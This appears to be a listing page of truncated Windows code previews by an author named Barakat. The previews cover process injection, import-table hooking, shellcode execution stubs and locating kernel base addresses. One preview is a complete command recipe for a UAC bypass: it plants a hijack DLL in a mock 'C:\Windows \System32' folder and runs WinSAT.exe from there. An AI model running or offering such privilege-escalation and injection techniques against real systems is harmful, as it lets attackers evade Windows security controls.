Barakat

#include <Windows.h>
#include <cassert>

int
main(int argc, char **argv)
{
  (void)argc;
  (void)argv;
  
  // التعليمات مولّدة من هذا الكود:

Barakat

// أداة الحقن
#include <Windows.h>
#include <cassert>

int
main(int argc, char** argv)
{
  (void)argc;
  (void)argv;

Barakat

// مثال لخطف دالة عن طريق استبدال عنوانها في جدول عناوين الدوال المستوردة
// https://twitter.com/barakatsoror/status/1020710139475759105
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <cassert>
#include <winnt.h>
#include <cstring>
#include <cwchar>

Barakat

#include <Windows.h>

typedef bool (__stdcall *NDA_SetIlluminationParm_t)(int adapter_index, int attribute, int value);
typedef bool (__stdcall *NDA_GetIlluminationParm_t)(int adapter_index, int attribute, int *value);
typedef bool (__stdcall *NDA_GetGPUCounts_t)(int *gpu_count);
typedef bool (__stdcall *NDA_Initialize_t)();
typedef bool (__stdcall *NDA_Unload_t)();

int
main()

Barakat

#include <stdio.h>

typedef struct _Object
{
  int x;
  int y;
} Object;


void

Barakat

#include <windows.h>
#include <cinttypes>

int main()
{
  static uint8_t code[] = {
    0x90, // nop
    0x90, // nop
    0xc3  // ret
  };

Barakat

cl /MT /LD winmm.c User32.lib Advapi32.lib

mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy "C:\Windows\System32\WinSAT.exe" "C:\Windows \System32\"
copy "winmm.dll" "C:\Windows \System32\"

"C:\Windows \System32\WinSAT.exe"

Barakat

#include <Windows.h>
#include <ntdef.h>
#include <cstdint>
#include <cassert>
#include <cstring>
#include <cstdio>


typedef enum
{

Barakat

#include <Windows.h>
#include <winternl.h>
#include <cassert>


__declspec(dllexport)
__declspec(noinline)
void*
__stdcall
GetKernel32BaseAddress()

Barakat

#include <wdm.h>

__declspec(dllexport)
__declspec(noinline)
void*
GetNtoskrnlBaseAddress()
{
  //
  // From Windows Internals part 1, chapter 2:
  //